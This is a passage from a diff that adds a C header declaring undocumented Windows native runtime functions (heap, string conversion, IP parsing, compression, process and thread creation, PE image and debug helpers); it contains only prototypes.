HeapHandle + ); + + +PVOID +NTAPI +RtlReAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN SIZE_T Size + ); + + +BOOLEAN +NTAPI +RtlGetUserInfoHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + OUT OPTIONAL PVOID *UserValue, + OUT OPTIONAL PULONG UserFlags + ); + + +BOOLEAN +NTAPI +RtlSetUserValueHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN PVOID UserValue + ); + + +BOOLEAN +NTAPI +RtlSetUserFlagsHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID BaseAddress, + IN ULONG UserFlagsReset, + IN ULONG UserFlagsSet + ); + + +ULONG +NTAPI +RtlCreateTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OPTIONAL PWSTR TagPrefix, + IN PWSTR TagNames + ); + + +PWSTR +NTAPI +RtlQueryTagHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN USHORT TagIndex, + IN BOOLEAN ResetCounters, + OUT OPTIONAL PRTL_HEAP_TAG_INFO TagInfo + ); + + +NTSTATUS +NTAPI +RtlExtendHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN PVOID Base, + IN SIZE_T Size + ); + + +SIZE_T +NTAPI +RtlCompactHeap( + IN PVOID HeapHandle, + IN ULONG Flags + ); + + +BOOLEAN +NTAPI +RtlValidateProcessHeaps( + ); + +ULONG +NTAPI +RtlGetProcessHeaps( + IN ULONG NumberOfHeaps, + OUT PVOID *ProcessHeaps + ); + + +NTSTATUS +NTAPI +RtlUsageHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN OUT PRTL_HEAP_USAGE Usage + ); + + +NTSTATUS +NTAPI +RtlWalkHeap( + IN PVOID HeapHandle, + IN OUT PRTL_HEAP_WALK_ENTRY Entry + ); + +#if !defined(_WINDOWS_) +NTSTATUS +NTAPI +RtlQueryHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + OUT OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength, + OUT OPTIONAL PSIZE_T ReturnLength + ); + +NTSTATUS +NTAPI +RtlSetHeapInformation( + IN PVOID HeapHandle, + IN HEAP_INFORMATION_CLASS HeapInformationClass, + IN OPTIONAL PVOID HeapInformation, + IN OPTIONAL SIZE_T HeapInformationLength + ); +#endif + +ULONG +NTAPI +RtlMultipleAllocateHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN SIZE_T Size, + IN ULONG Count, + OUT PVOID *Array + ); + +ULONG +NTAPI +RtlMultipleFreeHeap( + IN PVOID HeapHandle, + IN ULONG Flags, + IN ULONG Count, + IN PVOID *Array + ); + +VOID +NTAPI +RtlDetectHeapLeaks( + VOID + ); + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryZone( + OUT PVOID *MemoryZone, + IN SIZE_T InitialSize, + ULONG Flags + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryZone( + IN PVOID MemoryZone, + IN SIZE_T BlockSize, + OUT PVOID *Block + ); + +NTSTATUS +NTAPI +RtlResetMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlLockMemoryZone( + IN PVOID MemoryZone + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryZone( + IN PVOID MemoryZone + ); +#endif + + +#if (NTDDI_VERSION >= NTDDI_VISTA) +NTSTATUS +NTAPI +RtlCreateMemoryBlockLookaside( + OUT PVOID *MemoryBlockLookaside, + IN ULONG Flags, + IN ULONG InitialSize, + IN ULONG MinimumBlockSize, + IN ULONG MaximumBlockSize + ); + +NTSTATUS +NTAPI +RtlDestroyMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlAllocateMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG BlockSize, + OUT PVOID *Block + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlFreeMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN PVOID Block + ); + +NTSTATUS +NTAPI +RtlExtendMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside, + IN ULONG Increment + ); + +NTSTATUS +NTAPI +RtlResetMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlLockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); + +NTSTATUS +NTAPI +RtlUnlockMemoryBlockLookaside( + IN PVOID MemoryBlockLookaside + ); +#endif + +HANDLE +NTAPI +RtlGetCurrentTransaction( + ); + +LOGICAL +NTAPI +RtlSetCurrentTransaction( + IN HANDLE TransactionHandle + ); + +PRTL_DEBUG_INFORMATION +NTAPI +RtlCreateQueryDebugBuffer( + IN OPTIONAL ULONG MaximumCommit, + IN BOOLEAN UseEventPair + ); + +NTSTATUS +NTAPI +RtlDestroyQueryDebugBuffer( + IN PRTL_DEBUG_INFORMATION Buffer + ); + +NTSTATUS +NTAPI +RtlQueryProcessDebugInformation( + IN HANDLE UniqueProcessId, + IN ULONG Flags, + IN OUT PRTL_DEBUG_INFORMATION Buffer + ); + + +//added 21/03/2011 +//end + +ULONG +NTAPI +RtlUniform ( + PULONG Seed + ); + +NTSTATUS +RtlComputeImportTableHash( + IN HANDLE hFile, + OUT PCHAR Hash, + IN ULONG ImportTableHashRevision + ); + +NTSTATUS +NTAPI +RtlIntegerToChar ( + ULONG Value, + ULONG Base, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicode ( + IN ULONG Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToChar ( + PLARGE_INTEGER Value, + ULONG Base OPTIONAL, + LONG OutputLength, + PSZ String + ); + +NTSTATUS +NTAPI +RtlLargeIntegerToUnicode ( + IN PLARGE_INTEGER Value, + IN ULONG Base OPTIONAL, + IN LONG OutputLength, + OUT PWSTR String + ); + +PSTR +NTAPI +RtlIpv4AddressToStringA ( + IN const struct in_addr *Addr, + OUT PSTR S + ); + +PSTR +NTAPI +RtlIpv6AddressToStringA ( + IN const struct in6_addr *Addr, + OUT PSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExA( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExA( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +PWSTR +NTAPI +RtlIpv4AddressToStringW ( + IN const struct in_addr *Addr, + OUT PWSTR S + ); + +PWSTR +NTAPI +RtlIpv6AddressToStringW ( + IN const struct in6_addr *Addr, + OUT PWSTR S + ); + +NTSTATUS +NTAPI +RtlIpv4AddressToStringExW( + IN const struct in_addr *Address, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv6AddressToStringExW( + IN const struct in6_addr *Address, + IN ULONG ScopeId, + IN USHORT Port, + OUT PWSTR AddressString, + IN OUT PULONG AddressStringLength + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressA ( + IN PCSTR S, + IN BOOLEAN Strict, + OUT PCSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressA ( + IN PCSTR S, + OUT PCSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExA ( + IN PCSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExA ( + IN PCSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressW ( + IN PCWSTR S, + IN BOOLEAN Strict, + OUT LPCWSTR *Terminator, + OUT struct in_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressW ( + IN PCWSTR S, + OUT PCWSTR *Terminator, + OUT struct in6_addr *Addr + ); + +NTSTATUS +NTAPI +RtlIpv4StringToAddressExW ( + IN PCWSTR AddressString, + IN BOOLEAN Strict, + OUT struct in_addr *Address, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIpv6StringToAddressExW ( + IN PCWSTR AddressString, + OUT struct in6_addr *Address, + OUT PULONG ScopeId, + OUT PUSHORT Port + ); + +NTSTATUS +NTAPI +RtlIntegerToUnicodeString ( + ULONG Value, + ULONG Base, + PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlInt64ToUnicodeString ( + IN ULONGLONG Value, + IN ULONG Base OPTIONAL, + IN OUT PUNICODE_STRING String + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToInteger ( + PCUNICODE_STRING String, + ULONG Base, + PULONG Value + ); + +VOID +NTAPI +RtlInitString( + PSTRING DestinationString, + PCSZ SourceString + ); + +VOID +NTAPI +RtlInitAnsiString( + PANSI_STRING DestinationString, + PCSZ SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeString( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitUnicodeStringEx( + PUNICODE_STRING DestinationString, + PCWSTR SourceString + ); + +NTSTATUS +NTAPI +RtlInitAnsiStringEx( + OUT PANSI_STRING DestinationString, + IN PCSZ SourceString OPTIONAL + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeString( + OUT PUNICODE_STRING DestinationString, + IN PCWSTR SourceString + ); + +BOOLEAN +NTAPI +RtlEqualDomainName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +BOOLEAN +NTAPI +RtlEqualComputerName( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2 + ); + +NTSTATUS +RtlDnsHostNameToComputerName( + OUT PUNICODE_STRING ComputerNameString, + IN PCUNICODE_STRING DnsHostNameString, + IN BOOLEAN AllocateComputerNameString + ); + +BOOLEAN +NTAPI +RtlCreateUnicodeStringFromAsciiz( + OUT PUNICODE_STRING DestinationString, + IN PCSZ SourceString + ); + +VOID +NTAPI +RtlCopyString( + PSTRING DestinationString, + const STRING * SourceString + ); + +CHAR +NTAPI +RtlUpperChar ( + CHAR Character + ); + +LONG +NTAPI +RtlCompareString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlPrefixString( + const STRING * String1, + const STRING * String2, + BOOLEAN CaseInSensitive + ); + +VOID +NTAPI +RtlUpperString( + PSTRING DestinationString, + const STRING * SourceString + ); + +NTSTATUS +NTAPI +RtlAppendAsciizToString ( + PSTRING Destination, + PCSZ Source + ); + +NTSTATUS +NTAPI +RtlAppendStringToString ( + PSTRING Destination, + const STRING * Source + ); + +NTSTATUS +NTAPI +RtlAnsiStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCANSI_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +WCHAR +NTAPI +RtlAnsiCharToUnicodeChar( + PUCHAR *SourceCharacter + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToAnsiString( + PANSI_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlOemStringToCountedUnicodeString( + PUNICODE_STRING DestinationString, + PCOEM_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeStringToCountedOemString( + POEM_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +LONG +NTAPI +RtlCompareUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +BOOLEAN +NTAPI +RtlEqualUnicodeString( + PCUNICODE_STRING String1, + PCUNICODE_STRING String2, + BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlHashUnicodeString( + IN const UNICODE_STRING *String, + IN BOOLEAN CaseInSensitive, + IN ULONG HashAlgorithm, + OUT PULONG HashValue + ); + +NTSTATUS +NTAPI +RtlValidateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *String + ); + +NTSTATUS +NTAPI +RtlDuplicateUnicodeString( + IN ULONG Flags, + IN const UNICODE_STRING *StringIn, + OUT UNICODE_STRING *StringOut + ); + +BOOLEAN +NTAPI +RtlPrefixUnicodeString( + IN PCUNICODE_STRING String1, + IN PCUNICODE_STRING String2, + IN BOOLEAN CaseInSensitive + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString, + BOOLEAN AllocateDestinationString + ); + +NTSTATUS +NTAPI +RtlFindCharInUnicodeString( + IN ULONG Flags, + IN PCUNICODE_STRING StringToSearch, + IN PCUNICODE_STRING CharSet, + OUT USHORT *NonInclusivePrefixLength + ); + +VOID +NTAPI +RtlCopyUnicodeString( + PUNICODE_STRING DestinationString, + PCUNICODE_STRING SourceString + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeStringToString ( + PUNICODE_STRING Destination, + PCUNICODE_STRING Source + ); + +NTSTATUS +NTAPI +RtlAppendUnicodeToString ( + PUNICODE_STRING Destination, + PCWSTR Source + ); + +WCHAR +NTAPI +RtlUpcaseUnicodeChar( + WCHAR SourceCharacter + ); + +WCHAR +NTAPI +RtlDowncaseUnicodeChar( + WCHAR SourceCharacter + ); + +VOID +NTAPI +RtlFreeUnicodeString( + PUNICODE_STRING UnicodeString + ); + +VOID +NTAPI +RtlFreeAnsiString( + PANSI_STRING AnsiString + ); + +VOID +NTAPI +RtlFreeOemString( + POEM_STRING OemString + ); + +ULONG +NTAPI +RtlxUnicodeStringToAnsiSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxUnicodeStringToOemSize( + PCUNICODE_STRING UnicodeString + ); + +ULONG +NTAPI +RtlxAnsiStringToUnicodeSize( + PCANSI_STRING AnsiString + ); + +ULONG +NTAPI +RtlxOemStringToUnicodeSize( + PCOEM_STRING OemString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCSTR MultiByteString, + IN ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlMultiByteToUnicodeSize( + PULONG BytesInUnicodeString, + PCSTR MultiByteString, + ULONG BytesInMultiByteString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteSize( + OUT PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToMultiByteN( + OUT PCHAR MultiByteString, + IN ULONG MaxBytesInMultiByteString, + OUT OPTIONAL PULONG BytesInMultiByteString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlOemToUnicodeN( + OUT PWSTR UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString, + IN PCH OemString, + IN ULONG BytesInOemString + ); + +NTSTATUS +NTAPI +RtlUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlUpcaseUnicodeToOemN( + OUT PCHAR OemString, + IN ULONG MaxBytesInOemString, + OUT OPTIONAL PULONG BytesInOemString, + IN PWCH UnicodeString, + IN ULONG BytesInUnicodeString + ); + +NTSTATUS +NTAPI +RtlConsoleMultiByteToUnicodeN( + OUT PWCH UnicodeString, + IN ULONG MaxBytesInUnicodeString, + OUT OPTIONAL PULONG BytesInUnicodeString OPTIONAL, + IN PCH MultiByteString, + IN ULONG BytesInMultiByteString, + OUT PULONG pdwSpecialChar ); + +BOOLEAN +NTAPI +RtlIsTextUnicode( + IN CONST VOID* Buffer, + IN ULONG Size, + IN OUT PULONG Result OPTIONAL + ); + +NTSTATUS +NTAPI +RtlStringFromGUID( + IN REFGUID Guid, + OUT PUNICODE_STRING GuidString + ); + +NTSTATUS +NTAPI +RtlGUIDFromString( + IN PUNICODE_STRING GuidString, + OUT GUID* Guid + ); + +VOID +NTAPI +RtlGenerate8dot3Name ( + IN PUNICODE_STRING Name, + IN BOOLEAN AllowExtendedCharacters, + IN OUT PGENERATE_NAME_CONTEXT Context, + OUT PUNICODE_STRING Name8dot3 + ); + +BOOLEAN +NTAPI +RtlIsNameLegalDOS8Dot3 ( + IN PUNICODE_STRING Name, + IN OUT POEM_STRING OemName OPTIONAL, + IN OUT PBOOLEAN NameContainsSpaces OPTIONAL + ); + +VOID +NTAPI +RtlInitializeContext( + HANDLE Process, + PCONTEXT Context, + PVOID Parameter, + PVOID InitialPc, + PVOID InitialSp + ); + +NTSTATUS +NTAPI +RtlRemoteCall( + HANDLE Process, + HANDLE Thread, + PVOID CallSite, + ULONG ArgumentCount, + PULONG_PTR Arguments, + BOOLEAN PassContext, + BOOLEAN AlreadySuspended + ); + +VOID +NTAPI +RtlAcquirePebLock( + ); + +VOID +NTAPI +RtlReleasePebLock( + ); + +NTSTATUS +NTAPI +RtlAllocateFromPeb( + ULONG Size, + PVOID *Block + ); + +NTSTATUS +NTAPI +RtlFreeToPeb( + PVOID Block, + ULONG Size + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetProcessIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +STDAPIVCALLTYPE +RtlSetThreadIsCritical( + IN BOOLEAN NewValue, + OUT PBOOLEAN OldValue OPTIONAL, + IN BOOLEAN CheckFlag + ); + +NTSTATUS +NTAPI +RtlCreateEnvironment( + BOOLEAN CloneCurrentEnvironment, + PVOID *Environment + ); + +NTSTATUS +NTAPI +RtlDestroyEnvironment( + PVOID Environment + ); + +NTSTATUS +NTAPI +RtlSetCurrentEnvironment( + PVOID Environment, + PVOID *PreviousEnvironment + ); + +NTSTATUS +NTAPI +RtlSetEnvironmentVariable( + PVOID *Environment, + PCUNICODE_STRING Name, + PCUNICODE_STRING Value + ); + +ULONG +RtlIsDosDeviceName_U( + IN PWSTR DosFileName + ); + +NTSTATUS +NTAPI +RtlQueryEnvironmentVariable_U ( + PVOID Environment, + PCUNICODE_STRING Name, + PUNICODE_STRING Value + ); + +NTSTATUS +NTAPI +RtlExpandEnvironmentStrings_U( + IN PVOID Environment OPTIONAL, + IN PCUNICODE_STRING Source, + OUT PUNICODE_STRING Destination, + OUT PULONG ReturnedLength OPTIONAL + ); + +VOID +NTAPI +PfxInitialize ( + PPREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +PfxInsertPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING Prefix, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +PfxRemovePrefix ( + PPREFIX_TABLE PrefixTable, + PPREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PPREFIX_TABLE_ENTRY +NTAPI +PfxFindPrefix ( + PPREFIX_TABLE PrefixTable, + PSTRING FullName + ); + +VOID +NTAPI +RtlInitializeUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable + ); + +BOOLEAN +NTAPI +RtlInsertUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING Prefix, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +VOID +NTAPI +RtlRemoveUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_PREFIX_TABLE_ENTRY PrefixTableEntry + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlFindUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + PUNICODE_STRING FullName, + ULONG CaseInsensitiveIndex + ); + +PUNICODE_PREFIX_TABLE_ENTRY +NTAPI +RtlNextUnicodePrefix ( + PUNICODE_PREFIX_TABLE PrefixTable, + BOOLEAN Restart + ); + +NTSTATUS +NTAPI +RtlGetCompressionWorkSpaceSize ( + IN USHORT CompressionFormatAndEngine, + OUT PULONG CompressBufferWorkSpaceSize, + OUT PULONG CompressFragmentWorkSpaceSize + ); + +NTSTATUS +NTAPI +RtlCompressBuffer ( + IN USHORT CompressionFormatAndEngine, + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG UncompressedChunkSize, + OUT PULONG FinalCompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDecompressBuffer ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + OUT PULONG FinalUncompressedSize + ); + +NTSTATUS +NTAPI +RtlDecompressFragment ( + IN USHORT CompressionFormat, + OUT PUCHAR UncompressedFragment, + IN ULONG UncompressedFragmentSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN ULONG FragmentOffset, + OUT PULONG FinalUncompressedSize, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlDescribeChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + OUT PULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlReserveChunk ( + IN USHORT CompressionFormat, + IN OUT PUCHAR *CompressedBuffer, + IN PUCHAR EndOfCompressedBufferPlus1, + OUT PUCHAR *ChunkBuffer, + IN ULONG ChunkSize + ); + +NTSTATUS +NTAPI +RtlDecompressChunks ( + OUT PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + IN PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN PUCHAR CompressedTail, + IN ULONG CompressedTailSize, + IN PCOMPRESSED_DATA_INFO CompressedDataInfo + ); + +NTSTATUS +NTAPI +RtlCompressChunks ( + IN PUCHAR UncompressedBuffer, + IN ULONG UncompressedBufferSize, + OUT PUCHAR CompressedBuffer, + IN ULONG CompressedBufferSize, + IN OUT PCOMPRESSED_DATA_INFO CompressedDataInfo, + IN ULONG CompressedDataInfoLength, + IN PVOID WorkSpace + ); + +NTSTATUS +NTAPI +RtlCreateProcessParameters( + PRTL_USER_PROCESS_PARAMETERS *ProcessParameters, + PUNICODE_STRING ImagePathName, + PUNICODE_STRING DllPath, + PUNICODE_STRING CurrentDirectory, + PUNICODE_STRING CommandLine, + PVOID Environment, + PUNICODE_STRING WindowTitle, + PUNICODE_STRING DesktopInfo, + PUNICODE_STRING ShellInfo, + PUNICODE_STRING RuntimeData + ); + +NTSTATUS +NTAPI +RtlDestroyProcessParameters( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +PRTL_USER_PROCESS_PARAMETERS +NTAPI +RtlDeNormalizeProcessParams( + PRTL_USER_PROCESS_PARAMETERS ProcessParameters + ); + +NTSTATUS +NTAPI +RtlCreateUserProcess( + PUNICODE_STRING NtImagePathName, + ULONG Attributes, + PRTL_USER_PROCESS_PARAMETERS ProcessParameters, + PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + HANDLE ParentProcess, + BOOLEAN InheritHandles, + HANDLE DebugPort, + HANDLE ExceptionPort, + PRTL_USER_PROCESS_INFORMATION ProcessInformation + ); + +NTSTATUS +NTAPI +RtlCreateUserThread( + HANDLE Process, + PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, + BOOLEAN CreateSuspended, + ULONG StackZeroBits, + SIZE_T MaximumStackSize OPTIONAL, + SIZE_T InitialStackSize OPTIONAL, + PUSER_THREAD_START_ROUTINE StartAddress, + PVOID Parameter, + PHANDLE Thread, + PCLIENT_ID ClientId + ); + +VOID +NTAPI +RtlExitUserThread ( + IN NTSTATUS ExitStatus + ); + +VOID +NTAPI +RtlFreeUserThreadStack( + HANDLE hProcess, + HANDLE hThread + ); +/* +PVOID +NTAPI +RtlPcToFileHeader( + PVOID PcValue, + PVOID *BaseOfImage + );*/ + +NTSTATUS +NTAPI +RtlImageNtHeaderEx( + ULONG Flags, + PVOID Base, + ULONG64 Size, + OUT PIMAGE_NT_HEADERS * OutHeaders + ); + +PIMAGE_NT_HEADERS +NTAPI +RtlImageNtHeader( + PVOID Base + ); + +PVOID +NTAPI +RtlAddressInSectionTable ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlSectionTableFromVirtualAddress ( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID BaseOfImage, + IN ULONG VirtualAddress + ); + +NTSTATUS +NTAPI +RtlImageDirectoryEntryToData( + PVOID BaseOfImage, + BOOLEAN MappedAsImage, + USHORT DirectoryEntry, + PULONG Size + ); + +PVOID +RtlImageDirectoryEntryToData32 ( + IN PVOID Base, + IN BOOLEAN MappedAsImage, + IN USHORT DirectoryEntry, + OUT PULONG Size + ); + +PIMAGE_SECTION_HEADER +NTAPI +RtlImageRvaToSection( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva + ); + +PVOID +NTAPI +RtlImageRvaToVa( + IN PIMAGE_NT_HEADERS NtHeaders, + IN PVOID Base, + IN ULONG Rva, + IN OUT PIMAGE_SECTION_HEADER *LastRvaSection OPTIONAL + ); + + +VOID +NTAPI +RtlCopyMemoryNonTemporal ( + VOID UNALIGNED *Destination, + CONST VOID UNALIGNED *Source, + SIZE_T Length + ); + +VOID __fastcall +RtlPrefetchMemoryNonTemporal( + IN PVOID Source, + IN SIZE_T Length + ); + +SIZE_T +NTAPI +RtlCompareMemoryUlong ( + PVOID Source, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlong ( + PVOID Destination, + SIZE_T Length, + ULONG Pattern + ); + +VOID +NTAPI +RtlFillMemoryUlonglong ( + PVOID Destination, + SIZE_T Length, + ULONGLONG Pattern + ); + +VOID +NTAPI +RtlInitializeExceptionLog( + IN ULONG Entries + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter( + IN struct _EXCEPTION_POINTERS *ExceptionInfo + ); + +LONG +NTAPI +RtlUnhandledExceptionFilter2( + IN struct _EXCEPTION_POINTERS *ExceptionInfo, + IN PCSTR Function + ); + +VOID +NTAPI +DbgUserBreakPoint( + VOID + ); + +VOID +NTAPI +DbgBreakPointWithStatus( + IN ULONG Status + ); + +ULONG +DbgPrintEx ( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + ... + ); + +ULONG +NTAPI +vDbgPrintEx( + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +NTAPI +vDbgPrintExWithPrefix ( + IN PCH Prefix, + IN ULONG ComponentId, + IN ULONG Level, + IN PCH Format, + IN va_list arglist + ); + +ULONG +DbgPrintReturnControlC ( + IN PCHAR Format, + ... + ); + +NTSTATUS +NTAPI +DbgQueryDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level + ); + +NTSTATUS +NTAPI +DbgSetDebugFilterState ( + IN ULONG ComponentId, + IN ULONG Level, + IN BOOLEAN State + ); + +ULONG +NTAPI +DbgPrompt ( + IN PCH Prompt, + OUT PCH Response, + IN ULONG Length + ); + +VOID +NTAPI +DbgLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgUnLoadImageSymbols ( + IN PSTRING FileName, + IN PVOID ImageBase, + IN ULONG_PTR ProcessId + ); + +VOID +NTAPI +DbgCommandString ( + IN PCH Name, + IN PCH Command + 